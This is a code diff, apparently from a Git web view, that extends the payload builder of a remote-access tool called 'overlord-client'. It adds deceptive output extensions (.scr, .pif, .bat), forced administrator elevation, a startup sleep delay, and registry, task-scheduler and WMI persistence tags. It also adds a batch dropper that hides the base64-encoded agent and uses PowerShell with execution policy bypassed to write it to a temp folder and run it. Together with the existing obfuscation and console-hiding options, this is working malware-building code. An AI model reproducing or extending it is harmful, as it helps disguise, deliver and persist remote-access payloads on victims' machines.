<!-- == Section 5: Windows Settings (hidden until a windows-* platform is checked) == -->
|
||||||
|
<div id="windows-settings-section" class="accordion-section border border-slate-800 rounded-lg overflow-hidden hidden" data-open="false">
|
||||||
|
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||||
|
<span class="flex items-center gap-2 text-sm font-medium text-slate-200">
|
||||||
|
<i class="fa-brands fa-windows text-blue-400"></i>
|
||||||
|
Windows Settings
|
||||||
|
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold">Windows only</span>
|
||||||
|
</span>
|
||||||
|
<i class="fa-solid fa-chevron-down accordion-chevron text-slate-400 text-xs"></i>
|
||||||
|
</button>
|
||||||
|
<div class="accordion-body">
|
||||||
|
<div class="accordion-inner px-4 pb-4 pt-3 flex flex-col gap-4">
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-emerald-500 transition-colors">
|
||||||
|
<input type="checkbox" name="hide-console" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-window-minimize text-emerald-400"></i> Hide Console Window
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Builds Windows EXEs as GUI apps (no console window)</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
|
<label class="flex items-center gap-2 p-3 bg-slate-800/60 border border-slate-700 rounded-lg cursor-pointer hover:border-orange-500 transition-colors">
|
||||||
|
<input type="checkbox" name="require-admin" class="w-4 h-4" />
|
||||||
|
<div class="flex flex-col">
|
||||||
|
<span class="flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-shield-halved text-orange-400"></i> Require Administrator (UAC)
|
||||||
|
</span>
|
||||||
|
<span class="text-xs text-slate-500">Embeds a manifest requesting UAC elevation on launch</span>
|
||||||
|
</div>
|
||||||
|
</label>
|
||||||
|
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
|
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2">
|
||||||
<i class="fa-brands fa-windows text-blue-400"></i> Windows Assembly Data
|
<i class="fa-solid fa-file-code text-blue-400"></i> PE / Assembly Metadata
|
||||||
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
|
|
||||||
</label>
|
</label>
|
||||||
<div class="flex flex-col gap-2">
|
<div class="flex flex-col gap-2">
|
||||||
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
|
<input type="text" id="assembly-title" name="assembly-title" placeholder="File Description"
|
||||||
@@ -511,11 +401,9 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Icon Upload -->
|
|
||||||
<div>
|
<div>
|
||||||
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2 flex-wrap">
|
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2">
|
||||||
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
|
<i class="fa-solid fa-image text-yellow-400"></i> Custom Icon
|
||||||
<span class="text-[10px] uppercase tracking-wider px-1.5 py-0.5 rounded bg-blue-900/60 text-blue-300 border border-blue-700/50 font-semibold"><i class="fa-brands fa-windows mr-0.5"></i>Windows only</span>
|
|
||||||
<span class="text-xs text-slate-500 font-normal">.ico, max 1MB</span>
|
<span class="text-xs text-slate-500 font-normal">.ico, max 1MB</span>
|
||||||
</label>
|
</label>
|
||||||
<div class="flex items-center gap-3">
|
<div class="flex items-center gap-3">
|
||||||
@@ -528,12 +416,29 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div>
|
||||||
|
<label class="block text-sm font-medium text-slate-300 mb-2 flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-file-export text-purple-400"></i> Output Type
|
||||||
|
<span class="text-xs text-slate-500 font-normal">Windows file extension</span>
|
||||||
|
</label>
|
||||||
|
<select id="output-extension" name="output-extension"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/60 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-blue-500 transition-colors">
|
||||||
|
<option value=".exe">.exe — Standard Executable</option>
|
||||||
|
<option value=".scr">.scr — Screen Saver</option>
|
||||||
|
<option value=".bat">.bat — Batch Script</option>
|
||||||
|
<option value=".cmd">.cmd — Command Script</option>
|
||||||
|
<option value=".pif">.pif — Program Info File</option>
|
||||||
|
<option value=".com">.com — MS-DOS Application</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
<!-- Build Button -->
|
<!-- Build Button -->
|
||||||
<button
|
<button type="submit" id="build-btn"
|
||||||
type="submit"
|
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
|
||||||
id="build-btn"
|
|
||||||
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed"
|
|
||||||
>
|
|
||||||
<i class="fa-solid fa-hammer"></i>
|
<i class="fa-solid fa-hammer"></i>
|
||||||
<span>Start Build</span>
|
<span>Start Build</span>
|
||||||
</button>
|
</button>
|
||||||
@@ -547,24 +452,19 @@
|
|||||||
</h2>
|
</h2>
|
||||||
|
|
||||||
<div id="build-status" class="mb-4 hidden">
|
<div id="build-status" class="mb-4 hidden">
|
||||||
<div
|
<div class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60">
|
||||||
class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60"
|
|
||||||
>
|
|
||||||
<i class="fa-solid fa-spinner fa-spin"></i>
|
<i class="fa-solid fa-spinner fa-spin"></i>
|
||||||
<span id="build-status-text">Building...</span>
|
<span id="build-status-text">Building...</span>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div
|
<div id="build-output-container"
|
||||||
id="build-output-container"
|
class="bg-slate-950 border border-slate-700 rounded-lg p-4 h-96 overflow-y-auto font-mono text-sm">
|
||||||
class="bg-slate-950 border border-slate-700 rounded-lg p-4 h-96 overflow-y-auto font-mono text-sm"
|
|
||||||
>
|
|
||||||
<div id="build-output" class="text-slate-400">
|
<div id="build-output" class="text-slate-400">
|
||||||
Ready to build. Select platforms and click "Start Build".
|
Ready to build. Select platforms and click "Start Build".
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Build Results -->
|
|
||||||
<div id="build-results" class="mt-4 hidden">
|
<div id="build-results" class="mt-4 hidden">
|
||||||
<h3 class="font-medium mb-2 flex items-center gap-2">
|
<h3 class="font-medium mb-2 flex items-center gap-2">
|
||||||
<i class="fa-solid fa-download"></i> Built Clients
|
<i class="fa-solid fa-download"></i> Built Clients
|
||||||
|
|||||||
@@ -34,4 +34,7 @@ export type BuildConfig = {
|
|||||||
iconBase64?: string;
|
iconBase64?: string;
|
||||||
enableUpx?: boolean;
|
enableUpx?: boolean;
|
||||||
upxStripHeaders?: boolean;
|
upxStripHeaders?: boolean;
|
||||||
|
requireAdmin?: boolean;
|
||||||
|
outputExtension?: string;
|
||||||
|
sleepSeconds?: number;
|
||||||
};
|
};
|
||||||
|
|||||||
@@ -78,6 +78,9 @@ type BuildProcessConfig = {
|
|||||||
iconBase64?: string;
|
iconBase64?: string;
|
||||||
enableUpx?: boolean;
|
enableUpx?: boolean;
|
||||||
upxStripHeaders?: boolean;
|
upxStripHeaders?: boolean;
|
||||||
|
requireAdmin?: boolean;
|
||||||
|
outputExtension?: string;
|
||||||
|
sleepSeconds?: number;
|
||||||
};
|
};
|
||||||
|
|
||||||
async function checkUpxAvailable(sendToStream: (data: any) => void): Promise<boolean> {
|
async function checkUpxAvailable(sendToStream: (data: any) => void): Promise<boolean> {
|
||||||
@@ -297,7 +300,7 @@ export async function startBuildProcess(
|
|||||||
upxBin = "upx";
|
upxBin = "upx";
|
||||||
}
|
}
|
||||||
|
|
||||||
const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64);
|
const hasAssemblyData = !!(config.assemblyTitle || config.assemblyProduct || config.assemblyCompany || config.assemblyVersion || config.assemblyCopyright || config.iconBase64 || config.requireAdmin);
|
||||||
const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-"));
|
const hasWindowsTargets = platformsToBuild.some((p) => p.startsWith("windows-"));
|
||||||
|
|
||||||
if (hasAssemblyData && hasWindowsTargets) {
|
if (hasAssemblyData && hasWindowsTargets) {
|
||||||
@@ -364,6 +367,7 @@ export async function startBuildProcess(
|
|||||||
}
|
}
|
||||||
|
|
||||||
const versionStr = config.assemblyVersion || "0.0.0.0";
|
const versionStr = config.assemblyVersion || "0.0.0.0";
|
||||||
|
const winExt = config.outputExtension || ".exe";
|
||||||
const versionInfo: any = {
|
const versionInfo: any = {
|
||||||
"0409": {
|
"0409": {
|
||||||
"FileDescription": config.assemblyTitle || "",
|
"FileDescription": config.assemblyTitle || "",
|
||||||
@@ -372,7 +376,7 @@ export async function startBuildProcess(
|
|||||||
"FileVersion": versionStr,
|
"FileVersion": versionStr,
|
||||||
"ProductVersion": versionStr,
|
"ProductVersion": versionStr,
|
||||||
"LegalCopyright": config.assemblyCopyright || "",
|
"LegalCopyright": config.assemblyCopyright || "",
|
||||||
"OriginalFilename": config.outputName ? (config.outputName + ".exe") : "",
|
"OriginalFilename": config.outputName ? (config.outputName + winExt) : "",
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -389,6 +393,31 @@ export async function startBuildProcess(
|
|||||||
};
|
};
|
||||||
|
|
||||||
const winresJsonPath = path.join(winresTempDir, "winres.json");
|
const winresJsonPath = path.join(winresTempDir, "winres.json");
|
||||||
|
if (config.requireAdmin) {
|
||||||
|
winresConfig["RT_MANIFEST"] = {
|
||||||
|
"#1": {
|
||||||
|
"0000": {
|
||||||
|
"identity": {},
|
||||||
|
"description": "",
|
||||||
|
"minimum-os": "vista",
|
||||||
|
"execution-level": "requireAdministrator",
|
||||||
|
"ui-access": false,
|
||||||
|
"auto-elevate": false,
|
||||||
|
"dpi-awareness": "system",
|
||||||
|
"disable-theming": false,
|
||||||
|
"disable-window-filtering": false,
|
||||||
|
"high-resolution-scrolling-aware": false,
|
||||||
|
"ultra-high-resolution-scrolling-aware": false,
|
||||||
|
"long-path-aware": false,
|
||||||
|
"printer-driver-isolation": false,
|
||||||
|
"gdi-scaling": false,
|
||||||
|
"segment-heap": false,
|
||||||
|
"use-common-controls-v6": false,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
sendToStream({ type: "output", text: "UAC manifest: requireAdministrator\n", level: "info" });
|
||||||
|
}
|
||||||
fs.writeFileSync(winresJsonPath, JSON.stringify(winresConfig, null, 2));
|
fs.writeFileSync(winresJsonPath, JSON.stringify(winresConfig, null, 2));
|
||||||
sendToStream({ type: "output", text: `Winres config: ${winresJsonPath}\n`, level: "info" });
|
sendToStream({ type: "output", text: `Winres config: ${winresJsonPath}\n`, level: "info" });
|
||||||
|
|
||||||
@@ -426,8 +455,9 @@ export async function startBuildProcess(
|
|||||||
const actualArch = goarm ? "arm" : arch;
|
const actualArch = goarm ? "arm" : arch;
|
||||||
const targetKey = `${os}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
|
const targetKey = `${os}/${actualArch}${goarm ? `/v${goarm}` : ""}`;
|
||||||
const namePrefix = config.outputName || "agent";
|
const namePrefix = config.outputName || "agent";
|
||||||
|
const winExt = config.outputExtension || ".exe";
|
||||||
const outputName = deps.sanitizeOutputName(
|
const outputName = deps.sanitizeOutputName(
|
||||||
platform.includes("windows") ? `${namePrefix}-${platform}.exe` : `${namePrefix}-${platform}`,
|
platform.includes("windows") ? `${namePrefix}-${platform}${winExt}` : `${namePrefix}-${platform}`,
|
||||||
);
|
);
|
||||||
|
|
||||||
sendToStream({ type: "status", text: `Building ${platform}...` });
|
sendToStream({ type: "status", text: `Building ${platform}...` });
|
||||||
@@ -539,6 +569,12 @@ export async function startBuildProcess(
|
|||||||
ldflags = ldflags ? `${ldflags} ${buildTagFlag}` : buildTagFlag;
|
ldflags = ldflags ? `${ldflags} ${buildTagFlag}` : buildTagFlag;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (config.sleepSeconds && config.sleepSeconds > 0) {
|
||||||
|
const sleepFlag = `-X overlord-client/cmd/agent/config.DefaultSleepSeconds=${config.sleepSeconds}`;
|
||||||
|
ldflags = ldflags ? `${ldflags} ${sleepFlag}` : sleepFlag;
|
||||||
|
sendToStream({ type: "output", text: `Startup sleep: ${config.sleepSeconds}s\n`, level: "info" });
|
||||||
|
}
|
||||||
|
|
||||||
if (config.hideConsole && os === "windows") {
|
if (config.hideConsole && os === "windows") {
|
||||||
const hideConsoleFlag = "-H=windowsgui";
|
const hideConsoleFlag = "-H=windowsgui";
|
||||||
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
|
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
|
||||||
@@ -564,7 +600,16 @@ export async function startBuildProcess(
|
|||||||
|
|
||||||
try {
|
try {
|
||||||
const buildTool = config.obfuscate ? "garble" : "go";
|
const buildTool = config.obfuscate ? "garble" : "go";
|
||||||
const tagArg = config.noPrinting ? "-tags noprint " : "";
|
const buildTags: string[] = [];
|
||||||
|
if (config.noPrinting) buildTags.push("noprint");
|
||||||
|
if (config.enablePersistence && os === "windows") {
|
||||||
|
const method = config.persistenceMethod || "startup";
|
||||||
|
if (method === "registry") buildTags.push("persist_registry");
|
||||||
|
else if (method === "taskscheduler") buildTags.push("persist_taskscheduler");
|
||||||
|
else if (method === "wmi") buildTags.push("persist_wmi");
|
||||||
|
// startup method uses the default no-op persistInstallFn — no tag needed
|
||||||
|
}
|
||||||
|
const tagArg = buildTags.length > 0 ? `-tags "${buildTags.join(" ")}" ` : "";
|
||||||
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
logger.info(`[build:${buildId.substring(0, 8)}] Building: ${buildTool} build ${tagArg}${ldflags ? `-ldflags="${ldflags}" ` : ""}-o ${outDir}/${outputName} ./cmd/agent`);
|
||||||
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
|
logger.info(`[build:${buildId.substring(0, 8)}] Environment: GOOS=${os} GOARCH=${actualArch} CGO_ENABLED=${env.CGO_ENABLED} CC=${env.CC || "<default>"}`);
|
||||||
|
|
||||||
@@ -576,7 +621,7 @@ export async function startBuildProcess(
|
|||||||
}
|
}
|
||||||
|
|
||||||
const buildArgs: string[] = [];
|
const buildArgs: string[] = [];
|
||||||
if (config.noPrinting) buildArgs.push("-tags", "noprint");
|
if (buildTags.length > 0) buildArgs.push("-tags", buildTags.join(" "));
|
||||||
if (ldflags) buildArgs.push(`-ldflags=${ldflags}`);
|
if (ldflags) buildArgs.push(`-ldflags=${ldflags}`);
|
||||||
buildArgs.push("-o", `${outDir}/${outputName}`, "./cmd/agent");
|
buildArgs.push("-o", `${outDir}/${outputName}`, "./cmd/agent");
|
||||||
|
|
||||||
@@ -613,6 +658,9 @@ export async function startBuildProcess(
|
|||||||
|
|
||||||
const filePath = `${outDir}/${outputName}`;
|
const filePath = `${outDir}/${outputName}`;
|
||||||
let finalSize = Bun.file(filePath).size;
|
let finalSize = Bun.file(filePath).size;
|
||||||
|
// For .bat/.cmd: go build writes a PE binary; UPX must run first (it needs PE format),
|
||||||
|
// then after compression we wrap it in a batch script with an embedded base64 payload.
|
||||||
|
const isBatWrapper = os === "windows" && (winExt === ".bat" || winExt === ".cmd");
|
||||||
|
|
||||||
if (upxBin) {
|
if (upxBin) {
|
||||||
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
|
sendToStream({ type: "output", text: `Compressing ${outputName} with UPX...\n`, level: "info" });
|
||||||
@@ -642,6 +690,46 @@ export async function startBuildProcess(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (isBatWrapper) {
|
||||||
|
sendToStream({ type: "output", text: `Wrapping PE binary as ${winExt} script...\n`, level: "info" });
|
||||||
|
try {
|
||||||
|
const exeBytes = fs.readFileSync(filePath);
|
||||||
|
const b64 = exeBytes.toString("base64");
|
||||||
|
// Split into 76-char lines so the bat file stays manageable
|
||||||
|
const b64Lines = b64.match(/.{1,76}/g) || [b64];
|
||||||
|
// Random marker generated at build time using the same uuid util already imported
|
||||||
|
const marker = `:OVD_${uuidv4().replace(/-/g, "").substring(0, 16).toUpperCase()}`;
|
||||||
|
// PowerShell payload: reads this script via %_OVD_SELF%, strips the marker+data,
|
||||||
|
// decodes base64 to a temp .exe, launches it, then exits.
|
||||||
|
const psCmd = [
|
||||||
|
`$f=$env:_OVD_SELF;`,
|
||||||
|
`$l=[IO.File]::ReadAllLines($f);`,
|
||||||
|
`$i=0;`,
|
||||||
|
`for($j=0;$j-lt$l.Count;$j++){if($l[$j] -ceq '${marker}'){$i=$j+1;break}};`,
|
||||||
|
`$b=[Convert]::FromBase64String(($l[$i..($l.Count-1)]-join''));`,
|
||||||
|
`$t=[IO.Path]::Combine([IO.Path]::GetTempPath(),[Guid]::NewGuid().ToString()+'.exe');`,
|
||||||
|
`[IO.File]::WriteAllBytes($t,$b);`,
|
||||||
|
`Start-Process $t;`,
|
||||||
|
`exit`,
|
||||||
|
].join("");
|
||||||
|
const wrapper = [
|
||||||
|
`@echo off`,
|
||||||
|
`setlocal`,
|
||||||
|
`set "_OVD_SELF=%~f0"`,
|
||||||
|
`powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "${psCmd}"`,
|
||||||
|
`endlocal`,
|
||||||
|
`exit /b 0`,
|
||||||
|
marker,
|
||||||
|
...b64Lines,
|
||||||
|
].join("\r\n") + "\r\n";
|
||||||
|
fs.writeFileSync(filePath, wrapper, "utf8");
|
||||||
|
finalSize = fs.statSync(filePath).size;
|
||||||
|
sendToStream({ type: "output", text: `Wrapped: ${exeBytes.length} byte PE → ${finalSize} byte ${winExt} script\n`, level: "info" });
|
||||||
|
} catch (wrapErr: any) {
|
||||||
|
sendToStream({ type: "output", text: `WARNING: Failed to generate bat wrapper: ${wrapErr.message || wrapErr}. Output is a raw PE binary with ${winExt} extension.\n`, level: "warn" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
(build.files as any[]).push({
|
(build.files as any[]).push({
|
||||||
name: outputName,
|
name: outputName,
|
||||||
filename: outputName,
|
filename: outputName,
|
||||||
|
|||||||
@@ -64,6 +64,9 @@ export async function handleBuildRoutes(
|
|||||||
iconBase64,
|
iconBase64,
|
||||||
enableUpx,
|
enableUpx,
|
||||||
upxStripHeaders,
|
upxStripHeaders,
|
||||||
|
requireAdmin,
|
||||||
|
outputExtension,
|
||||||
|
sleepSeconds,
|
||||||
} = body;
|
} = body;
|
||||||
|
|
||||||
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
if (!platforms || !Array.isArray(platforms) || platforms.length === 0) {
|
||||||
@@ -145,6 +148,14 @@ export async function handleBuildRoutes(
|
|||||||
const safeIconBase64 = typeof iconBase64 === "string" && iconBase64.length > 0 && iconBase64.length <= 2 * 1024 * 1024
|
const safeIconBase64 = typeof iconBase64 === "string" && iconBase64.length > 0 && iconBase64.length <= 2 * 1024 * 1024
|
||||||
? iconBase64
|
? iconBase64
|
||||||
: undefined;
|
: undefined;
|
||||||
|
const safeRequireAdmin = !!requireAdmin;
|
||||||
|
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".pif", ".com"]);
|
||||||
|
const safeOutputExtension =
|
||||||
|
typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS.has(outputExtension.toLowerCase())
|
||||||
|
? outputExtension.toLowerCase() : ".exe";
|
||||||
|
const safeSleepSeconds =
|
||||||
|
typeof sleepSeconds === "number" && Number.isInteger(sleepSeconds) && sleepSeconds >= 0 && sleepSeconds <= 3600
|
||||||
|
? sleepSeconds : 0;
|
||||||
|
|
||||||
deps.startBuildProcess(buildId, {
|
deps.startBuildProcess(buildId, {
|
||||||
platforms: allowedPlatforms,
|
platforms: allowedPlatforms,
|
||||||
@@ -172,6 +183,9 @@ export async function handleBuildRoutes(
|
|||||||
iconBase64: safeIconBase64,
|
iconBase64: safeIconBase64,
|
||||||
enableUpx: !!enableUpx,
|
enableUpx: !!enableUpx,
|
||||||
upxStripHeaders: !!upxStripHeaders,
|
upxStripHeaders: !!upxStripHeaders,
|
||||||
|
requireAdmin: safeRequireAdmin,
|
||||||
|
outputExtension: safeOutputExtension,
|
||||||
|
sleepSeconds: safeSleepSeconds,
|
||||||
});
|
});
|
||||||
|
|
||||||
return Response.json({ buildId });
|
return Response.json({ buildId });
|
||||||
|
|||||||
Reference in New Issue
Block a user